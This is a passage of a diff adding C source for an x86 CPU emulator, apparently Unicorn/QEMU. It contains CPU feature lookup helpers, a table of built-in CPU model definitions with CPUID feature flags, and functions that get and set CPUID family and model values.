lookup_feature(uint32_t *pval, const char *s, const char *e, + const char **featureset) +{ + uint32_t mask; + const char **ppc; + bool found = false; + + for (mask = 1, ppc = featureset; mask; mask <<= 1, ++ppc) { + if (*ppc && !altcmp(s, e, *ppc)) { + *pval |= mask; + found = true; + } + } + return found; +} + +static void add_flagname_to_bitmaps(const char *flagname, + FeatureWordArray words, + Error **errp) +{ + FeatureWord w; + for (w = 0; w < FEATURE_WORDS; w++) { + FeatureWordInfo *wi = &feature_word_info[w]; + if (wi->feat_names && + lookup_feature(&words[w], flagname, NULL, wi->feat_names)) { + break; + } + } + if (w == FEATURE_WORDS) { + error_setg(errp, "CPU feature %s not found", flagname); + } +} + +/* CPU class name definitions: */ + +#define X86_CPU_TYPE_SUFFIX "-" TYPE_X86_CPU +#define X86_CPU_TYPE_NAME(name) (name X86_CPU_TYPE_SUFFIX) + +/* Return type name for a given CPU model name + * Caller is responsible for freeing the returned string. + */ +static char *x86_cpu_type_name(const char *model_name) +{ + return g_strdup_printf(X86_CPU_TYPE_NAME("%s"), model_name); +} + +static ObjectClass *x86_cpu_class_by_name(struct uc_struct *uc, const char *cpu_model) +{ + ObjectClass *oc; + char *typename; + + if (cpu_model == NULL) { + return NULL; + } + + typename = x86_cpu_type_name(cpu_model); + oc = object_class_by_name(uc, typename); + g_free(typename); + return oc; +} + +struct X86CPUDefinition { + const char *name; + uint32_t level; + uint32_t xlevel; + uint32_t xlevel2; + /* vendor is zero-terminated, 12 character ASCII string */ + char vendor[CPUID_VENDOR_SZ + 1]; + int family; + int model; + int stepping; + FeatureWordArray features; + char model_id[48]; + bool cache_info_passthrough; +}; + +static X86CPUDefinition builtin_x86_defs[] = { + { + "qemu64", + 4, 0x8000000A, 0, + CPUID_VENDOR_AMD, + 6, 6, 3, + { + // FEAT_1_EDX + PPRO_FEATURES | + CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA | + CPUID_PSE36, + // FEAT_1_ECX + CPUID_EXT_SSE3 | CPUID_EXT_CX16 | CPUID_EXT_POPCNT, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + (PPRO_FEATURES & CPUID_EXT2_AMD_ALIASES) | + CPUID_EXT2_LM | CPUID_EXT2_SYSCALL | CPUID_EXT2_NX, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM | CPUID_EXT3_SVM | + CPUID_EXT3_ABM | CPUID_EXT3_SSE4A, + }, + }, + { + "phenom", + 5, 0x8000001A, 0, + CPUID_VENDOR_AMD, + 16, 2, 3, + { + /* Missing: CPUID_HT */ + // FEAT_1_EDX + PPRO_FEATURES | + CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA | + CPUID_PSE36 | CPUID_VME, + // FEAT_1_ECX + CPUID_EXT_SSE3 | CPUID_EXT_MONITOR | CPUID_EXT_CX16 | + CPUID_EXT_POPCNT, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + (PPRO_FEATURES & CPUID_EXT2_AMD_ALIASES) | + CPUID_EXT2_LM | CPUID_EXT2_SYSCALL | CPUID_EXT2_NX | + CPUID_EXT2_3DNOW | CPUID_EXT2_3DNOWEXT | CPUID_EXT2_MMXEXT | + CPUID_EXT2_FFXSR | CPUID_EXT2_PDPE1GB | CPUID_EXT2_RDTSCP, + /* Missing: CPUID_EXT3_CMP_LEG, CPUID_EXT3_EXTAPIC, + CPUID_EXT3_CR8LEG, + CPUID_EXT3_MISALIGNSSE, CPUID_EXT3_3DNOWPREFETCH, + CPUID_EXT3_OSVW, CPUID_EXT3_IBS */ + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM | CPUID_EXT3_SVM | + CPUID_EXT3_ABM | CPUID_EXT3_SSE4A, + // FEAT_8000_0007_EDX + 0, + // FEAT_C000_0001_EDX + 0, + // FEAT_KVM + 0, + /* Missing: CPUID_SVM_LBRV */ + // FEAT_SVM + CPUID_SVM_NPT, + }, + "AMD Phenom(tm) 9550 Quad-Core Processor", + }, + { + "core2duo", + 10, 0x80000008, 0, + CPUID_VENDOR_INTEL, + 6, 15, 11, + { + /* Missing: CPUID_DTS, CPUID_HT, CPUID_TM, CPUID_PBE */ + // FEAT_1_EDX + PPRO_FEATURES | + CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA | + CPUID_PSE36 | CPUID_VME | CPUID_ACPI | CPUID_SS, + /* Missing: CPUID_EXT_DTES64, CPUID_EXT_DSCPL, CPUID_EXT_EST, + * CPUID_EXT_TM2, CPUID_EXT_XTPR, CPUID_EXT_PDCM, CPUID_EXT_VMX */ + // FEAT_1_ECX + CPUID_EXT_SSE3 | CPUID_EXT_MONITOR | CPUID_EXT_SSSE3 | + CPUID_EXT_CX16, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_SYSCALL | CPUID_EXT2_NX, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Intel(R) Core(TM)2 Duo CPU T7700 @ 2.40GHz", + }, + { + "kvm64", + 5, 0x80000008, 0, + CPUID_VENDOR_INTEL, + 15, 6, 1, + { + /* Missing: CPUID_VME, CPUID_HT */ + // FEAT_1_EDX + PPRO_FEATURES | + CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA | + CPUID_PSE36, + /* Missing: CPUID_EXT_POPCNT, CPUID_EXT_MONITOR */ + // FEAT_1_ECX + CPUID_EXT_SSE3 | CPUID_EXT_CX16, + // FEAT_7_0_EBX + 0, + /* Missing: CPUID_EXT2_PDPE1GB, CPUID_EXT2_RDTSCP */ + // FEAT_8000_0001_EDX + (PPRO_FEATURES & CPUID_EXT2_AMD_ALIASES) | + CPUID_EXT2_LM | CPUID_EXT2_SYSCALL | CPUID_EXT2_NX, + /* Missing: CPUID_EXT3_LAHF_LM, CPUID_EXT3_CMP_LEG, CPUID_EXT3_EXTAPIC, + CPUID_EXT3_CR8LEG, CPUID_EXT3_ABM, CPUID_EXT3_SSE4A, + CPUID_EXT3_MISALIGNSSE, CPUID_EXT3_3DNOWPREFETCH, + CPUID_EXT3_OSVW, CPUID_EXT3_IBS, CPUID_EXT3_SVM */ + // FEAT_8000_0001_ECX + 0, + }, + "Common KVM processor", + }, + { + "qemu32", + 4, 0x80000004, 0, + CPUID_VENDOR_INTEL, + 6, 6, 3, + { + // FEAT_1_EDX + PPRO_FEATURES, + // FEAT_1_ECX + CPUID_EXT_SSE3 | CPUID_EXT_POPCNT, + }, + }, + { + "kvm32", + 5, 0x80000008, 0, + CPUID_VENDOR_INTEL, + 15, 6, 1, + { + // FEAT_1_EDX + PPRO_FEATURES | + CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA | CPUID_PSE36, + // FEAT_1_ECX + CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + PPRO_FEATURES & CPUID_EXT2_AMD_ALIASES, + // FEAT_8000_0001_ECX + 0, + }, + "Common 32-bit KVM processor", + }, + { + "coreduo", + 10, 0x80000008, 0, + CPUID_VENDOR_INTEL, + 6, 14, 8, + { + /* Missing: CPUID_DTS, CPUID_HT, CPUID_TM, CPUID_PBE */ + // FEAT_1_EDX + PPRO_FEATURES | CPUID_VME | + CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA | CPUID_ACPI | + CPUID_SS, + /* Missing: CPUID_EXT_EST, CPUID_EXT_TM2 , CPUID_EXT_XTPR, + * CPUID_EXT_PDCM, CPUID_EXT_VMX */ + // FEAT_1_ECX + CPUID_EXT_SSE3 | CPUID_EXT_MONITOR, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_NX, + }, + "Genuine Intel(R) CPU T2600 @ 2.16GHz", + }, + { + "486", + 1, 0, 0, + CPUID_VENDOR_INTEL, + 4, 8, 0, + { + // FEAT_1_EDX + I486_FEATURES, + }, + }, + { + "pentium", + 1, 0, 0, + CPUID_VENDOR_INTEL, + 5, 4, 3, + { + // FEAT_1_EDX + PENTIUM_FEATURES, + }, + }, + { + "pentium2", + 2, 0, 0, + CPUID_VENDOR_INTEL, + 6, 5, 2, + { + // FEAT_1_EDX + PENTIUM2_FEATURES, + }, + }, + { + "pentium3", + 2, 0, 0, + CPUID_VENDOR_INTEL, + 6, 7, 3, + { + // FEAT_1_EDX + PENTIUM3_FEATURES, + }, + }, + { + "athlon", + 2, 0x80000008, 0, + CPUID_VENDOR_AMD, + 6, 2, 3, + { + // FEAT_1_EDX + PPRO_FEATURES | CPUID_PSE36 | CPUID_VME | CPUID_MTRR | + CPUID_MCA, + // FEAT_1_ECX + 0, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + (PPRO_FEATURES & CPUID_EXT2_AMD_ALIASES) | + CPUID_EXT2_MMXEXT | CPUID_EXT2_3DNOW | CPUID_EXT2_3DNOWEXT, + }, + }, + { + "n270", + /* original is on level 10 */ + 5, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 28, 2, + { + /* Missing: CPUID_DTS, CPUID_HT, CPUID_TM, CPUID_PBE */ + // FEAT_1_EDX + PPRO_FEATURES | + CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA | CPUID_VME | + CPUID_ACPI | CPUID_SS, + /* Some CPUs got no CPUID_SEP */ + /* Missing: CPUID_EXT_DSCPL, CPUID_EXT_EST, CPUID_EXT_TM2, + * CPUID_EXT_XTPR */ + // FEAT_1_ECX + CPUID_EXT_SSE3 | CPUID_EXT_MONITOR | CPUID_EXT_SSSE3 | + CPUID_EXT_MOVBE, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + (PPRO_FEATURES & CPUID_EXT2_AMD_ALIASES) | + CPUID_EXT2_NX, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Intel(R) Atom(TM) CPU N270 @ 1.60GHz", + }, + { + "Conroe", + 4, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 15, 3, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_SSSE3 | CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_NX | CPUID_EXT2_SYSCALL, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Intel Celeron_4x0 (Conroe/Merom Class Core 2)", + }, + { + "Penryn", + 4, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 23, 3, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_SSE41 | CPUID_EXT_CX16 | CPUID_EXT_SSSE3 | + CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_NX | CPUID_EXT2_SYSCALL, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Intel Core 2 Duo P9xxx (Penryn Class Core 2)", + }, + { + "Nehalem", + 4, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 26, 3, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_POPCNT | CPUID_EXT_SSE42 | CPUID_EXT_SSE41 | + CPUID_EXT_CX16 | CPUID_EXT_SSSE3 | CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_SYSCALL | CPUID_EXT2_NX, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Intel Core i7 9xx (Nehalem Class Core i7)", + }, + { + "Westmere", + 11, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 44, 1, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_AES | CPUID_EXT_POPCNT | CPUID_EXT_SSE42 | + CPUID_EXT_SSE41 | CPUID_EXT_CX16 | CPUID_EXT_SSSE3 | + CPUID_EXT_PCLMULQDQ | CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_SYSCALL | CPUID_EXT2_NX, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Westmere E56xx/L56xx/X56xx (Nehalem-C)", + }, + { + "SandyBridge", + 0xd, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 42, 1, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_AVX | CPUID_EXT_XSAVE | CPUID_EXT_AES | + CPUID_EXT_TSC_DEADLINE_TIMER | CPUID_EXT_POPCNT | + CPUID_EXT_X2APIC | CPUID_EXT_SSE42 | CPUID_EXT_SSE41 | + CPUID_EXT_CX16 | CPUID_EXT_SSSE3 | CPUID_EXT_PCLMULQDQ | + CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_RDTSCP | CPUID_EXT2_NX | + CPUID_EXT2_SYSCALL, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Intel Xeon E312xx (Sandy Bridge)", + }, + { + "Haswell", + 0xd, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 60, 1, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_AVX | CPUID_EXT_XSAVE | CPUID_EXT_AES | + CPUID_EXT_POPCNT | CPUID_EXT_X2APIC | CPUID_EXT_SSE42 | + CPUID_EXT_SSE41 | CPUID_EXT_CX16 | CPUID_EXT_SSSE3 | + CPUID_EXT_PCLMULQDQ | CPUID_EXT_SSE3 | + CPUID_EXT_TSC_DEADLINE_TIMER | CPUID_EXT_FMA | CPUID_EXT_MOVBE | + CPUID_EXT_PCID, + // FEAT_7_0_EBX + CPUID_7_0_EBX_FSGSBASE | CPUID_7_0_EBX_BMI1 | + CPUID_7_0_EBX_HLE | CPUID_7_0_EBX_AVX2 | CPUID_7_0_EBX_SMEP | + CPUID_7_0_EBX_BMI2 | CPUID_7_0_EBX_ERMS | CPUID_7_0_EBX_INVPCID | + CPUID_7_0_EBX_RTM, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_RDTSCP | CPUID_EXT2_NX | + CPUID_EXT2_SYSCALL, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM, + }, + "Intel Core Processor (Haswell)", + }, + { + "Broadwell", + 0xd, 0x8000000A, 0, + CPUID_VENDOR_INTEL, + 6, 61, 2, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_AVX | CPUID_EXT_XSAVE | CPUID_EXT_AES | + CPUID_EXT_POPCNT | CPUID_EXT_X2APIC | CPUID_EXT_SSE42 | + CPUID_EXT_SSE41 | CPUID_EXT_CX16 | CPUID_EXT_SSSE3 | + CPUID_EXT_PCLMULQDQ | CPUID_EXT_SSE3 | + CPUID_EXT_TSC_DEADLINE_TIMER | CPUID_EXT_FMA | CPUID_EXT_MOVBE | + CPUID_EXT_PCID, + // FEAT_7_0_EBX + CPUID_7_0_EBX_FSGSBASE | CPUID_7_0_EBX_BMI1 | + CPUID_7_0_EBX_HLE | CPUID_7_0_EBX_AVX2 | CPUID_7_0_EBX_SMEP | + CPUID_7_0_EBX_BMI2 | CPUID_7_0_EBX_ERMS | CPUID_7_0_EBX_INVPCID | + CPUID_7_0_EBX_RTM | CPUID_7_0_EBX_RDSEED | CPUID_7_0_EBX_ADX | + CPUID_7_0_EBX_SMAP, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_RDTSCP | CPUID_EXT2_NX | + CPUID_EXT2_SYSCALL, + // FEAT_8000_0001_ECX + CPUID_EXT3_LAHF_LM | CPUID_EXT3_3DNOWPREFETCH, + }, + "Intel Core Processor (Broadwell)", + }, + { + "Opteron_G1", + 5, 0x80000008, 0, + CPUID_VENDOR_AMD, + 15, 6, 1, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_FXSR | CPUID_EXT2_MMX | + CPUID_EXT2_NX | CPUID_EXT2_PSE36 | CPUID_EXT2_PAT | + CPUID_EXT2_CMOV | CPUID_EXT2_MCA | CPUID_EXT2_PGE | + CPUID_EXT2_MTRR | CPUID_EXT2_SYSCALL | CPUID_EXT2_APIC | + CPUID_EXT2_CX8 | CPUID_EXT2_MCE | CPUID_EXT2_PAE | CPUID_EXT2_MSR | + CPUID_EXT2_TSC | CPUID_EXT2_PSE | CPUID_EXT2_DE | CPUID_EXT2_FPU, + }, + "AMD Opteron 240 (Gen 1 Class Opteron)", + }, + { + "Opteron_G2", + 5, 0x80000008, 0, + CPUID_VENDOR_AMD, + 15, 6, 1, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_CX16 | CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_RDTSCP | CPUID_EXT2_FXSR | + CPUID_EXT2_MMX | CPUID_EXT2_NX | CPUID_EXT2_PSE36 | + CPUID_EXT2_PAT | CPUID_EXT2_CMOV | CPUID_EXT2_MCA | + CPUID_EXT2_PGE | CPUID_EXT2_MTRR | CPUID_EXT2_SYSCALL | + CPUID_EXT2_APIC | CPUID_EXT2_CX8 | CPUID_EXT2_MCE | + CPUID_EXT2_PAE | CPUID_EXT2_MSR | CPUID_EXT2_TSC | CPUID_EXT2_PSE | + CPUID_EXT2_DE | CPUID_EXT2_FPU, + // FEAT_8000_0001_ECX + CPUID_EXT3_SVM | CPUID_EXT3_LAHF_LM, + }, + "AMD Opteron 22xx (Gen 2 Class Opteron)", + }, + { + "Opteron_G3", + 5, 0x80000008, 0, + CPUID_VENDOR_AMD, + 15, 6, 1, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_POPCNT | CPUID_EXT_CX16 | CPUID_EXT_MONITOR | + CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_RDTSCP | CPUID_EXT2_FXSR | + CPUID_EXT2_MMX | CPUID_EXT2_NX | CPUID_EXT2_PSE36 | + CPUID_EXT2_PAT | CPUID_EXT2_CMOV | CPUID_EXT2_MCA | + CPUID_EXT2_PGE | CPUID_EXT2_MTRR | CPUID_EXT2_SYSCALL | + CPUID_EXT2_APIC | CPUID_EXT2_CX8 | CPUID_EXT2_MCE | + CPUID_EXT2_PAE | CPUID_EXT2_MSR | CPUID_EXT2_TSC | CPUID_EXT2_PSE | + CPUID_EXT2_DE | CPUID_EXT2_FPU, + // FEAT_8000_0001_ECX + CPUID_EXT3_MISALIGNSSE | CPUID_EXT3_SSE4A | + CPUID_EXT3_ABM | CPUID_EXT3_SVM | CPUID_EXT3_LAHF_LM, + }, + "AMD Opteron 23xx (Gen 3 Class Opteron)", + }, + { + "Opteron_G4", + 0xd, 0x8000001A, 0, + CPUID_VENDOR_AMD, + 21, 1, 2, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_AVX | CPUID_EXT_XSAVE | CPUID_EXT_AES | + CPUID_EXT_POPCNT | CPUID_EXT_SSE42 | CPUID_EXT_SSE41 | + CPUID_EXT_CX16 | CPUID_EXT_SSSE3 | CPUID_EXT_PCLMULQDQ | + CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_RDTSCP | + CPUID_EXT2_PDPE1GB | CPUID_EXT2_FXSR | CPUID_EXT2_MMX | + CPUID_EXT2_NX | CPUID_EXT2_PSE36 | CPUID_EXT2_PAT | + CPUID_EXT2_CMOV | CPUID_EXT2_MCA | CPUID_EXT2_PGE | + CPUID_EXT2_MTRR | CPUID_EXT2_SYSCALL | CPUID_EXT2_APIC | + CPUID_EXT2_CX8 | CPUID_EXT2_MCE | CPUID_EXT2_PAE | CPUID_EXT2_MSR | + CPUID_EXT2_TSC | CPUID_EXT2_PSE | CPUID_EXT2_DE | CPUID_EXT2_FPU, + // FEAT_8000_0001_ECX + CPUID_EXT3_FMA4 | CPUID_EXT3_XOP | + CPUID_EXT3_3DNOWPREFETCH | CPUID_EXT3_MISALIGNSSE | + CPUID_EXT3_SSE4A | CPUID_EXT3_ABM | CPUID_EXT3_SVM | + CPUID_EXT3_LAHF_LM, + }, + "AMD Opteron 62xx class CPU", + }, + { + "Opteron_G5", + 0xd, 0x8000001A, 0, + CPUID_VENDOR_AMD, + 21, 2, 0, + { + // FEAT_1_EDX + CPUID_SSE2 | CPUID_SSE | CPUID_FXSR | CPUID_MMX | + CPUID_CLFLUSH | CPUID_PSE36 | CPUID_PAT | CPUID_CMOV | CPUID_MCA | + CPUID_PGE | CPUID_MTRR | CPUID_SEP | CPUID_APIC | CPUID_CX8 | + CPUID_MCE | CPUID_PAE | CPUID_MSR | CPUID_TSC | CPUID_PSE | + CPUID_DE | CPUID_FP87, + // FEAT_1_ECX + CPUID_EXT_F16C | CPUID_EXT_AVX | CPUID_EXT_XSAVE | + CPUID_EXT_AES | CPUID_EXT_POPCNT | CPUID_EXT_SSE42 | + CPUID_EXT_SSE41 | CPUID_EXT_CX16 | CPUID_EXT_FMA | + CPUID_EXT_SSSE3 | CPUID_EXT_PCLMULQDQ | CPUID_EXT_SSE3, + // FEAT_7_0_EBX + 0, + // FEAT_8000_0001_EDX + CPUID_EXT2_LM | CPUID_EXT2_RDTSCP | + CPUID_EXT2_PDPE1GB | CPUID_EXT2_FXSR | CPUID_EXT2_MMX | + CPUID_EXT2_NX | CPUID_EXT2_PSE36 | CPUID_EXT2_PAT | + CPUID_EXT2_CMOV | CPUID_EXT2_MCA | CPUID_EXT2_PGE | + CPUID_EXT2_MTRR | CPUID_EXT2_SYSCALL | CPUID_EXT2_APIC | + CPUID_EXT2_CX8 | CPUID_EXT2_MCE | CPUID_EXT2_PAE | CPUID_EXT2_MSR | + CPUID_EXT2_TSC | CPUID_EXT2_PSE | CPUID_EXT2_DE | CPUID_EXT2_FPU, + // FEAT_8000_0001_ECX + CPUID_EXT3_TBM | CPUID_EXT3_FMA4 | CPUID_EXT3_XOP | + CPUID_EXT3_3DNOWPREFETCH | CPUID_EXT3_MISALIGNSSE | + CPUID_EXT3_SSE4A | CPUID_EXT3_ABM | CPUID_EXT3_SVM | + CPUID_EXT3_LAHF_LM, + }, + "AMD Opteron 63xx class CPU", + }, +}; + +static uint32_t x86_cpu_get_supported_feature_word(struct uc_struct *uc, FeatureWord w); + +static void report_unavailable_features(FeatureWord w, uint32_t mask) +{ + FeatureWordInfo *f = &feature_word_info[w]; + int i; + + for (i = 0; i < 32; ++i) { + if (1 << i & mask) { + const char *reg = get_register_name_32(f->cpuid_reg); + assert(reg); + fprintf(stderr, "warning: %s doesn't support requested feature: " + "CPUID.%02XH:%s%s%s [bit %d]\n", + "TCG", + f->cpuid_eax, reg, + f->feat_names[i] ? "." : "", + f->feat_names[i] ? f->feat_names[i] : "", i); + } + } +} + +static void x86_cpuid_version_get_family(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + int64_t value; + + value = (env->cpuid_version >> 8) & 0xf; + if (value == 0xf) { + value += (env->cpuid_version >> 20) & 0xff; + } + visit_type_int(v, &value, name, errp); +} + +static int x86_cpuid_version_set_family(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + const int64_t min = 0; + const int64_t max = 0xff + 0xf; + Error *local_err = NULL; + int64_t value; + + visit_type_int(v, &value, name, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + if (value < min || value > max) { + error_set(errp, QERR_PROPERTY_VALUE_OUT_OF_RANGE, "", + name ? name : "null", value, min, max); + return -1; + } + + env->cpuid_version &= ~0xff00f00; + if (value > 0x0f) { + env->cpuid_version |= 0xf00 | ((value - 0x0f) << 20); + } else { + env->cpuid_version |= value << 8; + } + + return 0; +} + +static void x86_cpuid_version_get_model(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + int64_t value; + + value = (env->cpuid_version >> 4) & 0xf; + value |= ((env->cpuid_version >> 16) & 0xf) << 4; + visit_type_int(v, &value, name, errp); +} + +static int x86_cpuid_version_set_model(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + const int64_t min = 0; + const int64_t max = 0xff; + Error *local_err = NULL; + int64_t value; + + visit_type_int(v, &value, name, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + if (value < min || value > max) { + error_set(errp, QERR_PROPERTY_VALUE_OUT_OF_RANGE, "", + name ? name : "null", value, min, max); + return -1; + } + + env->cpuid_version &= ~0xf00f0; + env->cpuid_version |= ((value & 0xf) << 4) | ((value >> 4) << 16); + + return 0; +} + +static void 